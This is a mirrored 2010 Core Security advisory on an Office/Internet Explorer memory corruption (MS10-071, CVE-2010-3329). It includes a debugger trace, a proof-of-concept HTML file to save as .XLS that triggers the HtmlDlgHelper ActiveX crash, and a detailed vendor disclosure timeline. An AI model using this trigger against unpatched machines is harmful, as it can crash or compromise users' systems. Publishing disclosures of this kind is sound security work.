Skip to content
cyberexploits
doswindowstext

Microsoft Office - HtmlDlgHelper Class Memory Corruption (MS10-071)

Microsoft Office - HtmlDlgHelper Class Memory Corruption (MS10-071)

Publié le 2010-10-16

Code source

Épinglé au commit 7eac4c3a2ce5
textplatforms/windows/dos/15262.txt7eac4c3a
raw
Core Security Technologies - CoreLabs Advisory

                   http://corelabs.coresecurity.com



  Microsoft Office HtmlDlgHelper class memory corruption





1. *Advisory Information*



Title: Microsoft Office HtmlDlgHelper class memory corruption

Advisory Id: CORE-2010-0517

Advisory URL:

[http://www.coresecurity.com/content/MS-Office-HtmlDlgHelper-memory-corruption]

Date published: 2010-10-12

Date of last update: 2010-10-14

Vendors contacted: Microsoft

Release mode: Coordinated release





2. *Vulnerability Information*



Class: Missing Initialization [CWE-456]

Impact: Code execution

Remotely Exploitable: Yes

Locally Exploitable: No

CVE Name: CVE-2010-3329

Bugtraq ID: N/A





3. *Vulnerability Description*



Microsoft Windows is prone to a memory corruption vulnerability when

instantiating the 'HtmlDlgHelper Class Object' in a Microsoft Office

Document (ie: .XLS, .DOC). The affected vulnerable module is part of

Internet Explorer ('mshtmled.dll'). This vulnerability could be used by

a remote attacker to execute arbitrary code with the privileges of the

user that opened the malicious file.





4. *Vulnerable packages*



   . IE 6

   . IE 7

   . IE 8

   . MS Office XP

   . MS Office 2003

   . MS Office 2007 and MS Office 2010 (the control is disabled by default)





5. *Non-vulnerable packages*



   . For further information and patches about this issue look at the

Microsoft Security Bulletin Summary for October 2010 [1], patch ms10-071.





6. *Credits*



This vulnerability was discovered by Damian Frizza from Core Security

Technologies.





7. *Technical Description / Proof of Concept Code*



Microsoft Windows is prone to a memory corruption vulnerability when

instantiating the 'HtmlDlgHelper Class Object'

('CLASSID:3050f4e1-98b5-11cf-bb82-00aa00bdce0b') in a Microsoft Office

Document (ie: .XLS, .DOC). The affected vulnerable module is part of

Internet Explorer ('mshtmled.dll'). The vulnerability occurs in

'mshtmled.dll' when the destructor of the 'CHtmlDlgHelper' class is

called and then makes access to uninitialized memory.



The ActiveX control is marked as "Not Safe for Initialization", and

prompts the user with: "ActiveX controls might contain viruses or other

security hazards. Do not enable this content unless you trust the source

of this file". However, in Office 2003 the bug is triggered even if the

user answers "No" to the prompt.



The following code is where the vulnerability occurs, when opening a

.XLS document on Microsoft Office Excel 2003 ('mshtmled.dll'

v8.0.6001.18702):



/-----

mshtmled!ReleaseInterface:

42b919c0 8bff            mov     edi,edi

42b919c2 55              push    ebp

42b919c3 8bec            mov     ebp,esp

42b919c5 8b4508          mov     eax,dword ptr [ebp+8]

ss:0023:0013d104=00310065

42b919c8 85c0            test    eax,eax

42b919ca 7406            je      mshtmled!ReleaseInterface+0x12

(42b919d2) [br=0]

42b919cc 8b08            mov     ecx,dword ptr [eax]  ds:0023:00310065

42b919ce 50              push    eax

42b919cf ff5108          call    dword ptr [ecx+8]   

ds:0023:7d02029c=2a2c277a



eax=00310065 ebx=00000000 ecx=7d020294 edx=df0b3d60 esi=001edbdc

edi=00000000

eip=2a2c277a esp=0013d0f4 ebp=0013d0fc iopl=0         nv up ei pl nz na

pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            

efl=00000206



Stack Trace:

<Unloaded_ion.dll>+0x2a2c2779

mshtmled!ReleaseInterface+0x12

mshtmled!CHtmlDlgHelper::~CHtmlDlgHelper+0x10

mshtmled!ATL::CComAggObject<CHtmlDlgHelper>::`scalar deleting

destructor'+0xd

mshtmled!ATL::CComAggObject<CHtmlDlgHelper>::Release+0x27

VBE6!rtcStrConvVar+0xbd65

VBE6!rtcSetDatabaseLcid+0xa823

EXCEL!Ordinal41+0xd2ad0

EXCEL!Ordinal41+0x14082a

USER32!CallWindowProcW+0x1b

Instruction Address: 0x000000002a2c277a

-----/





The following html code demonstrates the bug on Excel 2002/2003. Save

the file as .XLS and open it on Excel.



/-----

<html xmlns:v="urn:schemas-microsoft-com:vml"

xmlns:o="urn:schemas-microsoft-com:office:office"

xmlns:x="urn:schemas-microsoft-com:office:excel">



<head>

<meta http-equiv=Content-Type content="text/html; charset=windows-1252">

<meta name=ProgId content=Excel.Sheet>

<meta name=Generator content="Microsoft Excel 10">

<!--[if !mso]>

<style>

v\:* {behavior:url(#default#VML);}

o\:* {behavior:url(#default#VML);}

x\:* {behavior:url(#default#VML);}

.shape {behavior:url(#default#VML);}

</style>

<![endif]--><!--[if gte mso 9]><xml>

 <o:DocumentProperties>

  <o:LastAuthor>TEST</o:LastAuthor>

  <o:LastSaved>2010-08-03T05:19:51Z</o:LastSaved>

  <o:Version>10.6858</o:Version>

 </o:DocumentProperties>

 <o:OfficeDocumentSettings>

  <o:DownloadComponents/>

  </o:OfficeDocumentSettings>

</xml><![endif]-->



<!--[if gte mso 9]><xml>

 <x:ExcelWorkbook>

  <x:ExcelWorksheets>

   <x:ExcelWorksheet>

    <x:Name>test</x:Name>

    <x:WorksheetOptions>

     <x:CodeName>Sheet1</x:CodeName>

     <x:Selected/>

     <x:DoNotDisplayGridlines/>

     <x:ProtectContents>False</x:ProtectContents>

     <x:ProtectObjects>False</x:ProtectObjects>

     <x:ProtectScenarios>False</x:ProtectScenarios>

    </x:WorksheetOptions>

   </x:ExcelWorksheet>

  </x:ExcelWorksheets>

  <x:WindowHeight>9345</x:WindowHeight>

  <x:WindowWidth>13260</x:WindowWidth>

  <x:WindowTopX>240</x:WindowTopX>

  <x:WindowTopY>60</x:WindowTopY>

  <x:ProtectStructure>False</x:ProtectStructure>

  <x:ProtectWindows>False</x:ProtectWindows>

 </x:ExcelWorkbook>

</xml><![endif]--><!--[if gte mso 9]><xml>

 <o:shapedefaults v:ext="edit" spidmax="1026"/>

</xml><![endif]--><!--[if gte mso 9]><xml>

 <o:shapelayout v:ext="edit">

  <o:idmap v:ext="edit" data="1"/>

 </o:shapelayout></xml><![endif]-->

</head>



<body link=blue vlink=purple>



<table x:str border=0 cellpadding=0 cellspacing=0 width=64

style='border-collapse:

 collapse;table-layout:fixed;width:48pt'>

 <col width=64 style='width:48pt'>

 <tr height=17 style='height:12.75pt'>

  <td height=17 width=64 style='height:12.75pt;width:48pt' align=left

  valign=top><!--[if gte vml 1]><v:shapetype id="_x0000_t201"

coordsize="21600,21600"

   o:spt="201" path="m,l,21600r21600,l21600,xe">

   <v:stroke joinstyle="miter"/>

   <v:path shadowok="f" o:extrusionok="f" strokeok="f" fillok="f"

    o:connecttype="rect"/>

   <o:lock v:ext="edit" shapetype="t"/>

  </v:shapetype><v:shape id="_x0000_s1025" type="#_x0000_t201"

style='position:absolute;

   margin-left:0;margin-top:0;width:48pt;height:12.75pt;z-index:1'

   strokecolor="windowText [64]" o:insetmode="auto">

   <![if gte mso 9]><o:title=""/>

   <![endif]><x:ClientData ObjectType="Pict">

    <x:SizeWithCells/>

    <x:CF>Pict</x:CF>

    <x:AutoPict/>

   </x:ClientData>

  </v:shape><![endif]--><![if !vml]><span style='mso-ignore:vglayout;

  position:absolute;z-index:1;margin-left:0px;margin-top:0px;width:64px;

  height:17px'><![endif]>



<object classid="CLSID:3050F4E1-98B5-11CF-BB82-00AA00BDCE0B"

id=obj></object>



<![if !vml]></span><![endif]><span

  style='mso-ignore:vglayout2'>

  <table cellpadding=0 cellspacing=0>

   <tr>

    <td height=17 width=64 style='height:12.75pt;width:48pt'></td>

   </tr>

  </table>

  </span></td>

 </tr>

 <![if supportMisalignedColumns]>

 <tr height=0 style='display:none'>

  <td width=64 style='width:48pt'></td>

 </tr>

 <![endif]>

</table>

</body>

</html>



-----/





This exploitable condition was reproduced in the following versions of

'mshtmled.dll':



   . 'mshtmled.dll' v8.0.6001.18702

   . 'mshtmled.dll' v8.0.6001.18000

   . 'mshtmled.dll' v7.0.6000.17023

   . 'mshtmled.dll' v7.0.6000.17080





8. *Report Timeline*



. 2010-05-28:

Initial notification to the vendor. Draft advisory and proof-of-concept

files sent to MSRC. Publication date set for July 13, 2010.



. 2010-06-11:

Core requests from the vendor an update on the status of this case.



. 2010-06-14:

The vendor responds that its engineers are still investigating this

issue; and that they expect to have more information from the

investigation and triage process within the next few days.



. 2010-06-15:

The vendors informs that they have been determined that the ActiveX

control is marked as "Not Safe for Initialization"; and prompts the user

with a dialog that warns the user that they are going to be executing a

potentially malicious code. In consequence, the vendor treats this case

as the same scenario as a user that tries to enable and open an Office

document with a Macro or VBA code contained within.



. 2010-06-15:

Core asks the vendor if the previous mail means that it does not intent

to fix the bug or that it does not recognize it as a security issue. The

reporter's viewpoint is that a dialog prompt is not a fix "per se" and

just a defense in depth mechanism; and that he would prefer to see the

bug fixed rather than relying on mitigations that prevent exploitation.



. 2010-06-15:

Core adds the following information: in Office 2003 even if the user

answers No to the ActiveX dialog, the application ends up crashing.



. 2010-06-16:

Vendor responds that it is currently investigating the new information.



. 2010-06-28:

Vendor informs that it has found that the vulnerable code actually

exists and is owned by the IE team whom is currently investigating the

crash; and that this case is transferred over to them (and to a new case

manager as well).



. 2010-07-02:

Vendor informs Core that the IE team has finished the investigation into

this issue and was able to reproduce the issue reported. During the

investigation it was determined that this is an exploitable crash in

Internet Explorer. Vendor will send Core the list of affected Internet

Explorer versions when available.



. 2010-07-02:

Core acknowledges receipt of the update, and reminds that although the

vulnerable code is owned by the IE team this also affects Office

(including 2010). Core offers to postpone publication of its advisory

from July 13th to August 10th on the basis of a firm commitment to a

release date from the vendor's side. Core informs that it is evaluating

the possibility of using Office killbit recently introduced by MS10-036

as a workaround, but that MS10-036 points to a knowledge base article

[2] that is no longer available.



. 2010-07-07:

Vendor acknowledges previous mail, and states that it will determine

with the product team how this fix could be included in the August

release. Vendor requests an updated version of the advisory, and to

include a vendor statement.



. 2010-07-22:

Core requests an update on the status of the vulnerability report; and

informs that publication of its advisory has been rescheduled to August

10, 2010, despite the fact that Core did not receive any updates. Core

informs that the publication of this advisory is transferred to a new

case manager.



. 2010-08-04:

Core sends an updated version of the advisory and also asks if MSRC can

provide:

   1. The list of affected software versions.

   2. The CVE number assigned to this vulnerability (if it exists).

   3. The steps to reproduce the vulnerability in IE [3].

   4. The link to the knowledge base article about the newly introduced

Office killbit given that Core is investigating using that defense

mechanism as a workaround but MS10-036 points to a knowledge base

article that is no longer available

([http://support.microsoft.com/kb/983632]).



 Core also notifies this advisory is currently scheduled to be published

on August 10, 2010 but the publication can be reviewed if Microsoft

responds with a firm commitment to a release date of fixes, and

technical information about the root cause of this vulnerability.



. 2010-08-04:

MSRC responds that the updated advisory draft was internally forwarded

and they are working on collecting answers to the requested questions.



. 2010-08-05:

MSRC sends the answers to the asked questions:

   1. The affected versions of Internet Explorer are IE6 [4], IE7 and IE8.

   2. MSRC is unable to assign a CVE as it is too early. CVEs are

typically assigned closer to the scheduled release date and MSRC will

receive the block of CVEs from Mitre for the October release of the

Internet Explorer security update.

   3. MSRC notifies there is no attack vector in IE, and they cannot

provide steps to reproduce the vulnerability in IE.

   4. The knowledge base article about the newly introduced Office

killbit was redirected to [http://support.microsoft.com/kb/2252664].



. 2010-08-06:

Core asks MSRC to clarify if the fix for this issue has been scheduled

to be released in October.



. 2010-08-06:

MSRC confirms that the fix for this issue is scheduled for the October

release of IE.



. 2010-08-09:

Core re-schedules the publication of the advisory for October 12 and

notifies that this date should be considered as final, if Microsoft does

not release fixes on that date, the advisory will be released as 'user

release'.



. 2010-08-09:

MSRC confirms that the fix for this issue is scheduled for the October

release of IE.



. 2010-10-01:

MSRC provides a status update about this issue and notifies that it is

slated to be included in the October release of the IE Cumulative Update

and SafeHTML update scheduled for October 12, 2010. MSRC also notifies

that the CVE assigned to this issue is CVE-2010-3329.



. 2010-10-01:

MSRC notifies that they have made a mistake and included an invalid

detail in the last status update. In particular, the issue does not

affect the SafeHTML update scheduled for October but it will be shipping

in the IE Cumulative Update scheduled for October.



. 2010-10-01:

Core acknowledges the MSRC's e-mail and notifies that although the

problem is located in IE-owned code, the problem also affects Office up

to 2010. Core assumes this will be specified in the MSRC bulletin and

asks for confirmation.



. 2010-10-04:

MSRC confirms that the description of the vulnerability calls out that

the vector to the vulnerability is through opening a word document.



. 2010-10-12:

Advisory CORE-2010-0517 is published.





9. *References*



[1] Microsoft security bulletin summary for October 2010 -

[http://www.microsoft.com/technet/security/bulletin/ms10-oct.mspx].

[2] Office killbit [http://support.microsoft.com/kb/983632].

[3] This bug was originally investigated in Microsoft Office by Core,

but MSRC determined [2010-07-02] that this bug is an exploitable crash

in Internet Explorer.

[4] MSRC was not able to reproduce this issue on IE6, however they

notifies the code has been determined to exist in this version and the

fix will be scoped to address this platform as well.





10. *About CoreLabs*



CoreLabs, the research center of Core Security Technologies, is charged

with anticipating the future needs and requirements for information

security technologies. We conduct our research in several important

areas of computer security including system vulnerabilities, cyber

attack planning and simulation, source code auditing, and cryptography.

Our results include problem formalization, identification of

vulnerabilities, novel solutions and prototypes for new technologies.

CoreLabs regularly publishes security advisories, technical papers,

project information and shared software tools for public use at:

[http://corelabs.coresecurity.com/].





11. *About Core Security Technologies*



Core Security Technologies develops strategic solutions that help

security-conscious organizations worldwide develop and maintain a

proactive process for securing their networks. The company's flagship

product, CORE IMPACT, is the most comprehensive product for performing

enterprise security assurance testing. CORE IMPACT evaluates network,

endpoint and end-user vulnerabilities and identifies what resources are

exposed. It enables organizations to determine if current security

investments are detecting and preventing attacks. Core Security

Technologies augments its leading technology solution with world-class

security consulting services, including penetration testing and software

security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core

Security Technologies can be reached at 617-399-6980 or on the Web at

[http://www.coresecurity.com].





12. *Disclaimer*



The contents of this advisory are copyright (c) 2010 Core Security

Technologies and (c) 2010 CoreLabs, and are licensed under a Creative

Commons Attribution Non-Commercial Share-Alike 3.0 (United States)

License: [http://creativecommons.org/licenses/by-nc-sa/3.0/us/]





13. *PGP/GPG Keys*



This advisory has been signed with the GPG key of Core Security

Technologies advisories team, which is available for download at

[http://www.coresecurity.com/files/attachments/core_security_advisories.asc].
Voir sur GitHub